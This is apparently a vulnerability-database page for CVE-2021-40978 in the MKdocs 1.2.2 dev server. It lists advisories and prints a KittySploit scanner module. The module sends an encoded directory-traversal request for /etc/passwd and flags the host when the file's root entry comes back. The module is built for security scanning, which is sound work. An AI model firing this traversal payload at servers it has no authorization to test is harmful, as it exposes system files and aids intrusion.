MKdocs 1.2.2 - Directory Traversal Detection
| Reporter | Title | Published | Views | Family All 25 |
|---|---|---|---|---|
| CVE-2021-40978 | 7 Oct 202114:15 | – | attackerkb | |
| CVE-2021-40978 | 7 Oct 202118:33 | – | circl | |
| Mkdocs 路径遍历漏洞 | 7 Oct 202100:00 | – | cnnvd | |
| CVE-2021-40978 | 7 Oct 202113:23 | – | cve | |
| CVE-2021-40978 | 7 Oct 202113:23 | – | cvelist | |
| Exploit for Path Traversal in Mkdocs | 4 Oct 202101:36 | – | githubexploit | |
| CVE-2021-40978 | 7 Oct 202113:23 | – | debiancve | |
| Directory traversal in mkdocs | 12 Oct 202118:48 | – | github | |
| CVE-2021-40978 | 14 Oct 202602:03 | – | kitploit | |
| MKdocs 1.2.2 - Directory Traversal | 14 Oct 202602:05 | – | nuclei |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""The MKdocs 1."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'MKdocs 1.2.2 - Directory Traversal Detection',
'description': 'The MKdocs 1.2.2 built-in dev-server allows directory traversal using the port 8000, enabling remote exploitation to obtain sensitive information. Note the vendor has disputed the vulnerability (see references) because the dev server must be used in an unsafe way (namely public) to have this vulnerability exploited.',
'author': ['KittySploit Team'],
'severity': 'high',
'tags': ['web', 'scanner', 'cve', 'cve2021', 'mkdocs', 'lfi', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': [
'https://github.com/mkdocs/mkdocs/pull/2604',
'https://github.com/nisdn/CVE-2021-40978',
'https://nvd.nist.gov/vuln/detail/CVE-2021-40978',
'https://github.com/mkdocs/mkdocs',
'https://github.com/mkdocs/mkdocs/issues/2601',
],
'cve': 'CVE-2021-40978',
}
def run(self):
r = self.http_request(method="GET", path='/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd', allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
body_regexes = ('root:[x*]:0:0:',)
if (any(re.search(rx, body, 0) for rx in body_regexes)):
self.set_info(
severity='high',
reason="MKdocs 1.2.2 - Directory Traversal detected",
path='/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd',
)
return True
return False
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